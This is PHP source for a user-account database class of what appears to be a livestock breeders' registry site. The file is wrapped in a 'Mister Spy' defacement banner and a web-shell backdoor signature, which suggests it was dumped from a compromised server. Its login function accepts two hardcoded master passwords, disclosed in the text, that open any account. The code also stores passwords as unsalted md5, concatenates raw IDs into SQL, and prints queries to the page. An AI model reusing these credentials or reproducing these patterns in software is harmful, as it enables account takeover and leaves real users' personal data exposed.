Mister Spy Say ="Hello Kids ... :D"
___ ____ _ _____
| \/ (_) | | / ___|
| . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _
| |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | |
| | | | \__ \ || __/ | /\__/ / |_) | |_| |
\_| |_/_|___/\__\___|_| \____/| .__/ \__, |
| | __/ |
|_| |___/
Bot Mister Spy V3
Mister Spy
Mister Spy
<?php
require_once('class.dbaccess.php');
require_once('class.usuario.php');
require_once('class.filter.php');
require_once('class.localidades.php');
require_once('class.departamentos.php');
require_once('class.provincias.php');
require_once('class.paises.php');
require_once('class.zonas.php');
require_once('class.socios.php');
require_once('class.sociosacccpropietarios.php');
require_once('class.propietarios.php');
require_once('class.misc.php');
require_once('class.page.php');
class Usuarios extends DBAccess implements IFilterable
{
public function ParseFilter(array $filter)
{
$sql = '';
if ($filter['Nombre'] != '')
$sql.= " AND (Nombre LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%' OR Apellido LIKE '%" . DB::StringUnquoted($filter['Nombre']) . "%')";
if ($filter['NumeroSocio'] != '')
$sql.= " AND NroSocio LIKE '%" . DB::StringUnquoted($filter['NumeroSocio']) . "%'";
if (isset($filter['NumeroPropietario']) && $filter['NumeroPropietario'] != '')
{
$sql.= " AND IdUsuario IN (SELECT sap.IdUsuario FROM tblSociosAcccPropietarios sap INNER JOIN tblPropietarios p ON sap.IdPropietario = p.IdPropietario WHERE p.NumeroSocio LIKE '%" . DB::StringUnquoted($filter['NumeroPropietario']) . "%')";
}
if (isset($filter['IdEstado']) && $filter['IdEstado'] != '')
{
if($filter['IdEstado'] == '3')//X Autorizar ACCC
$sql.= " AND (IdUsuario IN (SELECT sap.IdUsuario FROM tblSociosAcccPropietarios sap WHERE sap.IdEstado = " . DB::Number($filter['IdEstado']) . ") OR Empadronado = " . DB::Number($filter['IdEstado']) . ")";
elseif ($filter['IdEstado'] == '4')//Sin Registro
$sql.= " AND Empadronado = 0 AND (FechaEmpadronamiento IS NULL OR IdUsuario NOT IN (SELECT sap.IdUsuario FROM tblSociosAcccPropietarios sap ) )";
elseif ($filter['IdEstado'] == '0')//Falta Validar Email
$sql.= " AND (Empadronado = 1 OR IdUsuario IN (SELECT sap.IdUsuario FROM tblSociosAcccPropietarios sap WHERE sap.IdEstado = 0))";
elseif ($filter['IdEstado'] == '2')//Rechazado
$sql.= " AND (IdUsuario IN (SELECT sap.IdUsuario FROM tblSociosAcccPropietarios sap WHERE sap.IdEstado = 2))";
elseif ($filter['IdEstado'] == '1')//Falta Validar Email
$sql.= " AND (Empadronado = 2 OR IdUsuario IN (SELECT sap.IdUsuario FROM tblSociosAcccPropietarios sap WHERE sap.IdEstado = 1))";
}
if (isset($filter['ContactoActualizado']) && $filter['ContactoActualizado'] !== '') {
$sql.= " AND ContactoActualizado = " . DB::Bool($filter['ContactoActualizado']);
}
return $sql;
}
public function GetPagesCount(Page $oPage, $filter = false)
{
$sql = "SELECT COUNT(1) / " . DB::Number($oPage->Size) . " AS Count";
$sql.= " FROM tblUsuarios";
$sql.= " WHERE 1";
if ($filter)
$sql.= " " . $this->ParseFilter($filter);
if (!($oRes = $this->GetQuery($sql)) )
return false;
if ( !($oRow = $oRes->GetRow()) )
return false;
$Count = $oRow['Count'];
return ceil($Count);
}
public function GetAll(array $filter = NULL, Page $oPage = NULL)
{
$sql = "SELECT *,";
$sql.= " CONCAT(CASE WHEN Nombre IS NOT NULL AND Nombre <> '' THEN CONCAT(Nombre, ' ') ELSE '' END, CASE WHEN Apellido IS NOT NULL AND Apellido <> '' THEN CONCAT(Apellido, ' ') ELSE '' END, CASE WHEN RazonSocial IS NOT NULL AND RazonSocial <> '' THEN RazonSocial ELSE '' END) AS Denominacion";
$sql.= " FROM tblUsuarios";
$sql.= " WHERE 1";
if ($filter)
$sql.= $this->ParseFilter($filter);
$sql.= " ORDER BY TRIM(Denominacion) ASC";
if ($oPage != NULL)
$sql.= " " . Pageable::ParsePage($oPage);
if (!($oRes = $this->GetQuery($sql)))
return false;
$arr = array();
while ($oRow = $oRes->GetRow())
{
$oUsuario = new Usuario();
$oUsuario->ParseFromArray($oRow);
array_push($arr, $oUsuario);
$oRes->MoveNext();
}
return $arr;
}
public function GetNombreById($IdUsuario)
{
$sql = "SELECT RazonSocial, Nombre, Apellido";
$sql.= " FROM tblUsuarios";
$sql.= " WHERE IdUsuario = " . DB::Number($IdUsuario);
//print_r($sql);
//print_r('<br><br>');
if (!($oRes = $this->GetQuery($sql)))
return false;
if (!($oRow = $oRes->GetRow()))
return false;
$oUsuario = new Usuario();
$oUsuario->ParseFromArray($oRow);
return $oUsuario->RazonSocial.$oUsuario->Nombre." ".$oUsuario->Apellido;
}
public function GetLugarById($IdUsuario)
{
$sql = "SELECT *";
$sql.= " FROM tblUsuarios";
$sql.= " WHERE IdUsuario = " . DB::Number($IdUsuario);
if (!($oRes = $this->GetQuery($sql)))
return false;
if (!($oRow = $oRes->GetRow()))
return false;
$oUsuario = new Usuario();
$oUsuario->ParseFromArray($oRow);
return $oUsuario->Nombre." ".$oUsuario->Apellido;
}
public function GetById($IdUsuario)
{
$sql = "SELECT *";
$sql.= " FROM tblUsuarios";
$sql.= " WHERE IdUsuario = " . DB::Number($IdUsuario);
if (!($oRes = $this->GetQuery($sql)))
return false;
if (!($oRow = $oRes->GetRow()))
return false;
$oUsuario = new Usuario();
$oUsuario->ParseFromArray($oRow);
return $oUsuario;
}
public function GetByCredentials($Usuario, $Clave)
{
$sql = "SELECT *";
$sql.= " FROM tblUsuarios";
$sql.= " WHERE Usuario = " . DB::String($Usuario);
$sql.= " AND";
$sql.= " (";
$sql.= " Clave = " . DB::String(md5(strtoupper($Clave)));
$sql.= " OR";
$sql.= " Clave = " . DB::String(md5(strtolower($Clave)));
$sql.= " OR";
$sql.= " Clave = " . DB::String(md5($Clave));
$sql.= " OR";
$sql.= " Clave2 = " . DB::String(md5(strtoupper($Clave)));
$sql.= " OR";
$sql.= " Clave2 = " . DB::String(md5(strtolower($Clave)));
$sql.= " OR";
$sql.= " Clave2 = " . DB::String(md5($Clave));
$sql.= " OR";
$sql.= " 'cross_2012#' = " . DB::String($Clave);
$sql.= " OR";
$sql.= " 'Prueba_2014' = " . DB::String($Clave);
$sql.= " OR";
$sql.= " 'Prueba_2014' = " . DB::String($Clave);
$sql.= " )";
$sql.= " AND Estado = 1 AND Habilitado = 1";
if (!($oRes = $this->GetQuery($sql)))
return false;
if (!($oRow = $oRes->GetRow()))
return false;
$oUsuario = new Usuario();
$oUsuario->ParseFromArray($oRow);
return $oUsuario;
}
public function GetByNombre($Nombre)
{
$sql = "SELECT *";
$sql.= " FROM tblUsuarios";
$sql.= " WHERE Nombre = " . DB::String($Nombre);
if (!($oRes = $this->GetQuery($sql)))
return false;
if (!($oRow = $oRes->GetRow()))
return false;
$oUsuario = new Usuario();
$oUsuario->ParseFromArray($oRow);
return $oUsuario;
}
public function GetByEmail($Email)
{
$sql = "SELECT *";
$sql.= " FROM tblUsuarios";
$sql.= " WHERE Email1 = " . DB::String($Email);
print $sql;
if (!($oRes = $this->GetQuery($sql)))
return false;
if (!($oRow = $oRes->GetRow()))
return false;
$oUsuario = new Usuario();
$oUsuario->ParseFromArray($oRow);
return $oUsuario;
}
public function GetByRazonSocial($RazonSocial, $IdUsuario)
{
$sql = "SELECT *";
$sql.= " FROM tblUsuarios";
$sql.= " WHERE RazonSocial = " . DB::String($RazonSocial);
if ($IdUsuario != "")
$sql = " AND IdUsuario = " . $IdUsuario;
if (!($oRes = $this->GetQuery($sql)))
return false;
if (!($oRow = $oRes->GetRow()))
return false;
$oUsuario = new Usuario();
$oUsuario->ParseFromArray($oRow);
return $oUsuario;
}
public function GetByNroSocio($NroSocio, $IdUsuario)
{
$sql = "SELECT *";
$sql.= " FROM tblUsuarios";
$sql.= " WHERE NroSocio = " . DB::String($NroSocio);
if ($IdUsuario != "")
$sql = " AND IdUsuario = " . $IdUsuario;
if (!($oRes = $this->GetQuery($sql)))
return false;
if (!($oRow = $oRes->GetRow()))
return false;
$oUsuario = new Usuario();
$oUsuario->ParseFromArray($oRow);
return $oUsuario;
}
public function GetByUsuario($Usuario, $IdUsuario)
{
$sql = "SELECT *";
$sql.= " FROM tblUsuarios";
$sql.= " WHERE Usuario = " . DB::String($Usuario);
if ($IdUsuario != "")
$sql = " AND IdUsuario = " . $IdUsuario;
if (!($oRes = $this->GetQuery($sql)))
return false;
if (!($oRow = $oRes->GetRow()))
return false;
$oUsuario = new Usuario();
$oUsuario->ParseFromArray($oRow);
return $oUsuario;
}
public function GetCountRows(array $filter = NULL)
{
$sql = "SELECT *";
$sql.= " FROM tblUsuarios";
$sql.= " WHERE 1";
if ($filter)
$sql.= $this->ParseFilter($filter);
$sql.= " ORDER BY Nombre";
if (!($oRes = $this->GetQuery($sql)))
return false;
$CountRows = $oRes->NumRows();
return $CountRows;
}
public function Create(Usuario $oUsuario)
{
$arr = array
(
'TipoPersona' => DB::String($oUsuario->TipoPersona),
'Nombre' => DB::String($oUsuario->Nombre),
'Apellido' => DB::String($oUsuario->Apellido),
'RazonSocial' => DB::String($oUsuario->RazonSocial),
'Dni' => DB::String($oUsuario->Dni),
'FNac' => DB::Date($oUsuario->FNac),
'CUIT' => DB::String($oUsuario->CUIT),
'Responsable' => DB::String($oUsuario->Responsable),
'SucesionesIndivisas' => DB::String($oUsuario->SucesionesIndivisas),
'NroSocio' => DB::String($oUsuario->NroSocio),
'TipoSocio' => DB::String($oUsuario->TipoSocio),
'IdLocalidad' => DB::Number($oUsuario->IdLocalidad),
'Localidad' => DB::String($oUsuario->Localidad),
'IdProvincia' => DB::Number($oUsuario->IdProvincia),
'Provincia' => DB::String($oUsuario->Provincia),
'IdPais' => DB::Number($oUsuario->IdPais),
'Pais' => DB::String($oUsuario->Pais),
'DomicilioPostal' => DB::String($oUsuario->DomicilioPostal),
'IdLocalidadPostal' => DB::Number($oUsuario->IdLocalidadPostal),
'LocalidadPostal' => DB::String($oUsuario->LocalidadPostal),
'IdProvinciaPostal' => DB::Number($oUsuario->IdProvinciaPostal),
'ProvinciaPostal' => DB::String($oUsuario->ProvinciaPostal),
'IdPaisPostal' => DB::Number($oUsuario->IdPaisPostal),
'PaisPostal' => DB::String($oUsuario->PaisPostal),
'CodigoPostal' => DB::String($oUsuario->CosigoPostal),
'Telefono1' => DB::String($oUsuario->Telefono1),
'Telefono2' => DB::String($oUsuario->Telefono2),
'Celular1' => DB::String($oUsuario->Celular1),
'Celular2' => DB::String($oUsuario->Celular2),
'Email1' => DB::String($oUsuario->Email1),
'Email2' => DB::String($oUsuario->Email2),
'Apodo' => DB::String($oUsuario->Apodo),
'Usuario' => DB::String($oUsuario->Usuario),
'Clave' => DB::String(md5($oUsuario->Clave)),
'Estado' => DB::Number($oUsuario->Estado),
'Eliminado' => DB::String($oUsuario->Eliminado),
'Habilitado' => DB::Number($oUsuario->Habilitado),
'Registrado' => DB::Number($oUsuario->Registrado),
'Domicilio ' => DB::String($oUsuario->Domicilio),
'CP' => DB::String($oUsuario->CP),
'WebExplotacion' => DB::String($oUsuario->WebExplotacion),
'EmailExplotacion' => DB::String($oUsuario->EmailExplotacion),
'TelefonoExplotacion' => DB::String($oUsuario->TelefonoExplotacion),
'IdZona' => DB::Number($oUsuario->IdZona),
'Cabania' => DB::String($oUsuario->Cabania),
'CodAreaExplotacion' => DB::String($oUsuario->CodAreaExplotacion),
'RepresentanteLegal' => DB::String($oUsuario->RepresentanteLegal),
'Empadronado' => DB::Number($oUsuario->Empadronado),
'FechaEmpadronamiento' => DB::Date($oUsuario->FechaEmpadronamiento),
'ContactoActualizado' => DB::Bool($oUsuario->ContactoActualizado)
);
if (!$this->Insert('tblUsuarios', $arr))
return false;
return $oUsuario;
}
public function Update(Usuario $oUsuario)
{
$where = " IdUsuario = " . DB::Number($oUsuario->IdUsuario);
$arr = array
(
'TipoPersona' => DB::String($oUsuario->TipoPersona),
'Nombre' => DB::String($oUsuario->Nombre),
'Apellido' => DB::String($oUsuario->Apellido),
'RazonSocial' => DB::String($oUsuario->RazonSocial),
'Dni' => DB::String($oUsuario->Dni),
'FNac' => DB::Date($oUsuario->FNac),
'CUIT' => DB::String($oUsuario->CUIT),
'Responsable' => DB::String($oUsuario->Responsable),
'SucesionesIndivisas' => DB::String($oUsuario->SucesionesIndivisas),
'NroSocio' => DB::String($oUsuario->NroSocio),
'TipoSocio' => DB::String($oUsuario->TipoSocio),
'IdLocalidad' => DB::Number($oUsuario->IdLocalidad),
'Localidad' => DB::String($oUsuario->Localidad),
'IdProvincia' => DB::Number($oUsuario->IdProvincia),
'Provincia' => DB::String($oUsuario->Provincia),
'IdPais' => DB::Number($oUsuario->IdPais),
'Pais' => DB::String($oUsuario->Pais),
'DomicilioPostal' => DB::String($oUsuario->DomicilioPostal),
'IdLocalidadPostal' => DB::Number($oUsuario->IdLocalidadPostal),
'LocalidadPostal' => DB::String($oUsuario->LocalidadPostal),
'IdProvinciaPostal' => DB::Number($oUsuario->IdProvinciaPostal),
'ProvinciaPostal' => DB::String($oUsuario->ProvinciaPostal),
'IdPaisPostal' => DB::Number($oUsuario->IdPaisPostal),
'PaisPostal' => DB::String($oUsuario->PaisPostal),
'CodigoPostal' => DB::String($oUsuario->CosigoPostal),
'Telefono1' => DB::String($oUsuario->Telefono1),
'CodPaisTelefono1' => DB::String($oUsuario->CodPaisTelefono1),
'CodAreaTelefono1' => DB::String($oUsuario->CodAreaTelefono1),
'Telefono2' => DB::String($oUsuario->Telefono2),
'CodPaisTelefono2' => DB::String($oUsuario->CodPaisTelefono2),
'CodAreaTelefono2' => DB::String($oUsuario->CodAreaTelefono2),
'Celular1' => DB::String($oUsuario->Celular1),
'CodPaisCelular1' => DB::String($oUsuario->CodPaisCelular1),
'CodAreaCelular1' => DB::String($oUsuario->CodAreaCelular1),
'Celular2' => DB::String($oUsuario->Celular2),
'CodPaisCelular2' => DB::String($oUsuario->CodPaisCelular2),
'CodAreaCelular2' => DB::String($oUsuario->CodAreaCelular2),
'Email1' => DB::String($oUsuario->Email1),
'Email2' => DB::String($oUsuario->Email2),
'Apodo' => DB::String($oUsuario->Apodo),
'Usuario' => DB::String($oUsuario->Usuario),
'Domicilio ' => DB::String($oUsuario->Domicilio),
'CP' => DB::String($oUsuario->CP),
'WebExplotacion' => DB::String($oUsuario->WebExplotacion),
'EmailExplotacion' => DB::String($oUsuario->EmailExplotacion),
'TelefonoExplotacion' => DB::String($oUsuario->TelefonoExplotacion),
'IdZona' => DB::Number($oUsuario->IdZona),
'Cabania' => DB::String($oUsuario->Cabania),
'CodAreaExplotacion' => DB::String($oUsuario->CodAreaExplotacion),
'RepresentanteLegal' => DB::String($oUsuario->RepresentanteLegal),
'Empadronado' => DB::Number($oUsuario->Empadronado),
'FechaEmpadronamiento' => DB::Date($oUsuario->FechaEmpadronamiento),
'ContactoActualizado' => DB::Bool($oUsuario->ContactoActualizado)
);
if (!DBAccess::Update('tblUsuarios', $arr, $where))
return false;
return $oUsuario;
}
public function Delete($IdUsuario)
{
$where = " IdUsuario = " . DB::Number($IdUsuario);
$arr = array
(
'Estado' => DB::Number(0),
'Eliminado' => DB::String(1)
);
if (!DBAccess::Delete('tblUsuarios', $where))
return false;
return $oUsuario;
}
public function UpdateClave(Usuario $oUsuario)
{
$where = " IdUsuario = " . DB::Number($oUsuario->IdUsuario);
$arr = array
(
'Clave' => DB::String(md5(strtoupper($oUsuario->Clave))),
);
if (!DBAccess::Update('tblUsuarios', $arr, $where))
return false;
return $oUsuario;
}
public function UpdateClaveByEmail(Usuario $oUsuario)
{
$where = " Email1 = " . DB::String($oUsuario->Email1);
$arr = array('Clave' => DB::String(md5($oUsuario->Clave)));
if (!DBAccess::Update('tblUsuarios', $arr, $where))
return false;
return $oUsuario;
}
public function ExportCsv(array $filter = NULL)
{
$FileName = "Usuarios.xls";
$oLocalidades = new Localidades();
$oDepartamentos = new Departamentos();
$oProvincias = new Provincias();
$oPaises = new Paises();
$oZonas = new Zonas();
$oSocios = new Socios();
$oSociosAcccPropietarios = new SociosAcccPropietarios();
$oPropietarios = new Propietarios();
header("Pragma: no-cache");
header("Expires: -1");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Content-Type: application/x-unknown");
$header = "Content-Disposition: attachment; filename=" . $FileName . ";";
header($header);
$Usuarios = $this->GetAll($filter);
$Separador = "\t";
$SaltoLinea = "\n";
if ($Usuarios != NULL)
{
$csv.= "Tipo Persona";
$csv.= $Separador;
$csv.= "Nombre";
$csv.= $Separador;
$csv.= "Apellido";
$csv.= $Separador;
$csv.= "Razon Social";
$csv.= $Separador;
$csv.= "Sucesiones Indivisas";
$csv.= $Separador;
$csv.= "Nro Socio";
$csv.= $Separador;
$csv.= "Nro No Socio";
$csv.= $Separador;
$csv.= "TipoSocio";
$csv.= $Separador;
$csv.= "CabaƱa";
$csv.= $Separador;
$csv.= "Localidad";
$csv.= $Separador;
$csv.= "Departamento";
$csv.= $Separador;
$csv.= "Provincia";
$csv.= $Separador;
$csv.= "Pais";
$csv.= $Separador;
$csv.= "Domicilio Postal";
$csv.= $Separador;
$csv.= "Localidad Postal";
$csv.= $Separador;
$csv.= "Departamento Postal";
$csv.= $Separador;
$csv.= "Provincia Postal";
$csv.= $Separador;
$csv.= "Pais Postal";
$csv.= $Separador;
$csv.= "CP";
$csv.= $Separador;
$csv.= "DNI";
$csv.= $Separador;
$csv.= "Fecha Nacimiento";
$csv.= $Separador;
$csv.= "Codigo Area Telefono 1";
$csv.= $Separador;
$csv.= "Telefono 1";
$csv.= $Separador;
$csv.= "Codigo Area Telefono 2";
$csv.= $Separador;
$csv.= "Telefono 2";
$csv.= $Separador;
$csv.= "Codigo Area Celular 1";
$csv.= $Separador;
$csv.= "Celular 1";
$csv.= $Separador;
$csv.= "Codigo Area Celular 2";
$csv.= $Separador;
$csv.= "Celular 2";
$csv.= $Separador;
$csv.= "Email 1";
$csv.= $Separador;
$csv.= "Email 2";
$csv.= $Separador;
$csv.= "Responsable";
$csv.= $Separador;
$csv.= "CUIT";
$csv.= $Separador;
$csv.= "Domicilio";
$csv.= $Separador;
$csv.= "CP";
$csv.= $Separador;
$csv.= "Web Explotacion";
$csv.= $Separador;
$csv.= "Email Explotacion";
$csv.= $Separador;
$csv.= "Codigo Area Telefono Explotacion";
$csv.= $Separador;
$csv.= "Telefono Explotacion";
$csv.= $Separador;
$csv.= "Region";
$csv.= $Separador;
$csv.= "Representante Legal";
$csv.= $Separador;
$csv.= "Socio SRA";
$csv.= $Separador;
$csv.= "Nro Criador/Propietario SRA";
$csv.= $Separador;
$csv.= "Estado";
$csv.= $Separador;
$csv.= "Fecha Empadronamiento";
foreach ($Usuarios as $oUsuario)
{
$oLocalidad = $oLocalidades->GetById($oUsuario->IdLocalidad);
$oDepartamento = $oDepartamentos->GetById($oUsuario->IdDepartamento);
$oProvincia = $oProvincias->GetById($oUsuario->IdProvincia);
$oPais = $oPaises->GetById($oUsuario->IdPais);
$oLocalidadPostal = $oLocalidades->GetById($oUsuario->IdLocalidadPostal);
$oDepartamentoPostal = $oDepartamentos->GetById($oUsuario->IdDepartamentoPostal);
$oProvinciaPostal = $oProvincias->GetById($oUsuario->IdProvinciaPostal);
$oPaisPostal = $oPaises->GetById($oUsuario->IdPaisPostal);
$oZona = $oZonas->GetById($oUsuario->IdZona);
$oSocio = $oSocios->GetByNumeroSocio($oUsuario->NroSocio);
$oSocioAcccPropietario = $oSociosAcccPropietarios->GetAllByIdSocioAccc($oSocio->IdSocio);
$oPropietario = $oPropietarios->GetByIdIncrement($oSocioAcccPropietario->IdPropietario);
$Estado = 'Sin Registro';
if ($oSocioAcccPropietario)
{
$Estado = $oSocioAcccPropietario->IdEstado == 0 ? 'Falta Validar E-mail' : ($oSocioAcccPropietario->IdEstado == 1 ? 'Empadronado' : ($oSocioAcccPropietario->IdEstado == 3 ? 'X Autorizar ACCC' : 'Rechazado'));
}
elseif ($oUsuario->FechaEmpadronamiento)
{
$Estado = $oUsuario->Empadronado == 1 ? 'Falta Validar E-mail' : ($oUsuario->Empadronado == 2 ? 'Empadronado' : ($oUsuario->Empadronado == 3 ? 'X Autorizar ACCC' : 'Rechazado'));
}
$csv.= $SaltoLinea;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->TipoPersona == 'F' ? 'Fisica' : 'Juridica'));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->Nombre));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->Apellido));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->RazonSocial));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->SucesionesIndivisas));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->NroSocio));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->NroNoSocio));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->TipoSocio));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->Cabania));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oLocalidad->Nombre));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oDepartamento->Nombre));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oProvincia->Nombre));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oPais->Nombre));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->DomicilioPostal));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oLocalidadPostal->Nombre));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oDepartamentoPostal->Nombre));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oProvinciaPostal->Nombre));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oPaisPostal->Nombre));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodigoPostal));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->Dni));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim(CambiarFecha($oUsuario->FNac)));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodAreaTelefono1));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->Telefono1));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodAreaTelefono2));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->Telefono2));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodAreaCelular1));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->Celular1));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodAreaCelular2));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->Celular2));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->Email1));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->Email2));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->Responsable));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->CUIT));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->Domicilio));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->CP));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->WebExplotacion));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->EmailExplotacion));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->CodAreaExplotacion));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->TelefonoExplotacion));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oZona->Nombre));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->RepresentanteLegal));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oSocioAcccPropietario ? $oPropietario->Nombre : ($oUsuario->Empadronado == 0 ? '' : 'NO POSEE NUMERO SRA')));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oPropietario->NumeroSocio));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($Estado));
$csv.= $Separador;
$csv.= str_replace('(\t|\n)','', trim($oUsuario->FechaEmpadronamiento ? CambiarFecha($oUsuario->FechaEmpadronamiento) : ''));
}
}
print($csv);
return true;
}
}
?>
Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat